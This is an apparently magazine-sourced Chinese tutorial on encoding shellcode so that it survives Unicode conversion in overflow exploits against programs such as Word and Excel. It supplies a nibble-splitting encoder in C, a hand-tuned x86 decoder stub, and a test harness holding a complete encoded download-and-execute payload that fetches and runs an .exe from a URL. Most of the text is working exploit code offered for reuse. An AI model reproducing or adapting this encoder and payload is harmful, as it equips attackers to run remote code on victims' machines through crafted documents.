编写Unicode有效的Shellcode

对于溢出爱好者来说，能够编写Shellcode是一个必备的基本技能,特别是能应对各种在实际情况中对Shellcode存在各种限制条件的时候，这种 能力就显得尤为重要了。黑防2007年第二期中介绍了纯字母数字的Shellcode的编写，在3期中的WinRAR 7z溢出中就派上了用场。Unicode大家应该不陌生,在一些大型程序中，比如Word、Excel考虑到不同语言平台的差异性,都会使用 Unicode，在利用这些漏洞的时候，我们以往的Shellcode就难以适用了。一个普通的Down&Exec的Shellcode经过 MultiByteToWideChar函数转换成Unicode后,如图1

1.jpg

Shellcode编写的思路
可能有的读者认为只要先将Shellcode写好，然后用WideCharToMultiByte函数转换成ASCII码就可以了，再经过程序转换成 Unicode就可以了，但事实不是这样的，在转换成Unicode的时候，转换函数会根据当前使用的代码页进行转换,比如大写字母'A'(/x41)被 转换成/x41/x00，但是第一个字节>0x80或者第二个字节不是/x00的时候，情况就不是这么简单了， MultiByteToWideChar会查找代码页中的对应结果，假如找不到就会有/x3F(?)代替，表示有错误。所以大家看到为什么图1中转换后的 Shellcode会出现问号。这儿我们还是采取分段编码，如下：
    |                  |
    |    解码头部      |
    -----------------------------
    |    拆分编码的    |
      |    原ShellCode    |
为了保护原始的Shellcode，我们将原始的Shellcode每个字节都拆分成两个字节，高4位和低4位均加上0x61(a)，由于4位只能表示0 -15，所以每个字节都可以拆成a-p的两个字节,这样就顺利的躲过了编码转换的问题，剩下的就是构造尽量小的解码头，使之转换不出现0x3F。当然，最 理想的情况就是解码头在ASCII码的情况下是纯字符，这儿我介绍的解码头不是纯字符，在MultiByteToWideChar中使用不同的代码页转换 出的结果都是不一样的，也就是Shellcode可能无法实现跨语言平台，上述的纯字符解码头则可以跨语言平台实现通用。

编写实例
有了思路后就剩下编码的问题了，分成4部分分别加以阐述
1）对原Shellcode进行拆分编码,编码的思路已经说过，下面是编码部分的代码:

CODE:

//shellcode1指向待编码的Shellcode、pShellcode 是指向其的指针
//详见encode.cpp
  BYTE* pShellcode = shellcode1;
  char high,low;
  for( int i = 0 ; i < sizeof(shellcode1) - 1 ; i++,pShellcode++)
  {
    high = low = *pShellcode ;
    //对高4位进行编码
    high >>= 4;  //将高4位移至低4位
    high &= 0xF; //清零移位后的高4位
    high += 0x61;

    //对低4位进行编码
    low &= 0xF; //清零高4位
    low += 0x61 ;
    printf("%c%c",high,low); //输出编码后的结果
  }
  printf("%d",(sizeof(shellcode1) - 1)*2);编码前和编码后的Shellcode分别如图2和3所示:

2.jpg

3.jpg

例如编码前第一个字节/xE9高4位和低4位分别是/xE和/x9,加上0x61后就是0x6F(o)和0x6A(j)。

2）解码头的编写，必须保证转换成ASCII后没有出现0x3F,汇编代码如下所示:

CODE:

__asm{
    ADD CX,0x330    // 66 81 C1 30 03
    ADD ESI,30      //83C6 30        
    MOV ESI,ESP      //8BF4
    PUSH ESI      //56
    MOV EDI,ESI      //8B FE
    NOP          //90
decode:
    LODS BYTE PTR DS:[ESI] //AC
    SUB AX,0x61        //66 2D 61 00
    SHL AX,4      //66 C1 E0 04
    NOP          //90
    MOV DX,AX      //66 8B D0
    NOP          //90
    INC ESI        //46
    NOP          //90
    LODS BYTE PTR DS:[ESI]//AC
    NOP          //90
    SUB AL,0x61      //2C 61
    PUSH ECX      //51
    ADD AL,DL      //02 C2
    POP ECX        //59
    STOS BYTE PTR ES:[EDI]//AA
    NOP          //90
    INC ESI        //46
    NOP          //90
    DEC ECX        //49
    JNZ decode      //75 E0
    NOP          //90
    RETN        //C3
    NOP          //90
  }有几点需要注意，保持解码头为偶数个字节，因为Unicode是双字节码，碰到有0x3F的情况，在不影响指令的前提下进行等价变换。如上解码头被转换成ASCII的情况下为：
"/xC4/x58/xA5/xC1/xD6/x5F/xC8/x43/xA5/xC6/xD7/x50/xDB/xB1/x95/xBB"
"/x90/xE6/xEA/xC0/xAC/xA6/xE5/xCC/xBE/xAF/xDB/xA6/xDF/x58/xDA/xF9"
"/x90/xE5/xA8/xBB/x8A/x91/xD0/xB0/xDF/x58/xAE/x74/xBF/xA4/xE0/x41"

3）测试代码
测试代码如下，模拟了溢出发生时的情况：

CODE:

unsigned char encoded[] =
"/xC4/x58/xA5/xC1/xD6/x5F/xC8/x43/xA5/xC6/xD7/x50/xDB/xB1/x95/xBB"
"/x90/xE6/xEA/xC0/xAC/xA6/xE5/xCC/xBE/xAF/xDB/xA6/xDF/x58/xDA/xF9"
"/x90/xE5/xA8/xBB/x8A/x91/xD0/xB0/xDF/x58/xAE/x74/xBF/xA4/xE0/x41"
"ojngaaaaaafkgekbdaaaaaaaileaamilhabmknileaaiilniilhddmilhebohiadpdilhocaadplileo"
"beddonfgfhfbildpadplilpcgkaofjpdkgheaifjfpidmhaeefocojfjfpfoilmnilegceadmdnbobad"
"mbddmjggilaiilegbmadmdmbobacadmbilaaadmdilpkilphidmgaoilnagkaefjoifbaaaaaaidmgan"
"fcfgppfhpmfkilnigkabfjoidoaaaaaaidmgbdfgegiadoiahfpkiadgiafoidomcailnmgkcafdppfh"
"ommhaeadfmgbcogfmheeadaehigfaaaaddmafafafdfgfappfhpmilnmgkabfdppfhpafappfhpeddma"
"kmifmahfpjfbfcfgfdppncfkfjklocooddmamdoicfppppppehgfhefahcgpgdebgegehcgfhdhdaaeh"
"gfhefdhjhdhegfgneegjhcgfgdhegphchjebaafhgjgoefhigfgdaaefhigjhefegihcgfgbgeaaemgp"
"gbgeemgjgchcgbhchjebaahfhcgmgngpgoaafffcemeegphhgogmgpgbgefegpeggjgmgfebaagihehe"
"hadkcpcpdbdcdhcodacodacodbcpghhjhkhjcogfhigfia";

void main()
{
  WCHAR encshellcode[1024];
  memset(encshellcode,0,2048);

  //将Shellcode转换成Unicode形式
  MultiByteToWideChar(CP_ACP,0,(LPCSTR)encoded,sizeof(encoded)-1,encshellcode,1024);

  //模拟溢出发生时JMP ESP后ESP指向Shellcode的情况
  __asm LEA ESP,encshellcode
  __asm XOR ECX,ECX
  __asm JMP ESP
}在经过MultiByteToWideChar编码转换下，Shellcode仍然成功执行了，如图4:

4.jpg

小结
Shellcode也是一门学问，平时要注意这方面的学习，以免发生“Shellcode到用时方很少”的尴尬局面,特别是在Office系列文件的溢出中，经常会出现编码转换的问题，希望能给广大黑友带来一点帮助，本人也是菜鸟，如有错误纰漏，欢迎指正。